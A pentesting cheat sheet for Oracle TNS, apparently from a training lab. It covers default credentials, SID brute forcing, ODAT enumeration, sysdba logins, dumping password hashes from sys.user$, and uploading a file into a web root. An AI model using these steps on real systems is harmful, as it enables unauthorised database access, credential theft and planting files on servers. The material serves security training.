Pentesting Oracle TNS

Overview

• Default port: TCP 1521 (Oracle TNS Listener)

• Default passwords: Oracle 9 = CHANGE_ON_INSTALL, DBSNMP = dbsnmp

Config Files

• Client-side: $ORACLE_HOME/network/admin/tnsnames.ora

• Server-side: $ORACLE_HOME/network/admin/listener.ora

• PL/SQL Exclusion List: $ORACLE_HOME/sqldeveloper/

Scanning

sudo nmap -p1521 -sV 10.129.204.235 --open
sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute

ODAT Setup

sudo apt-get install -y build-essential python3-dev libaio1
pip3 install colorlog termcolor passlib python-libnmap pycryptodome
git clone https://github.com/quentinhardy/odat.git && cd odat/
git submodule init && git submodule update
sudo apt-get install python3-scapy -y

ODAT Enumeration

./odat.py all -s 10.129.204.235

SQLplus

sqlplus scott/tiger@10.129.204.235/XE
sqlplus scott/tiger@10.129.204.235/XE as sysdba

Fix shared library error:

sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig

SQL Commands

select table_name from all_tables;
select * from user_role_privs;
select name, password from sys.user$;

File Upload via ODAT

echo "Oracle File Upload Test" > testing.txt
./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt
curl -X GET http://10.129.204.235/testing.txt

Default Web Root Paths

OS	Path
Linux	/var/www/html
Windows	C:\inetpub\wwwroot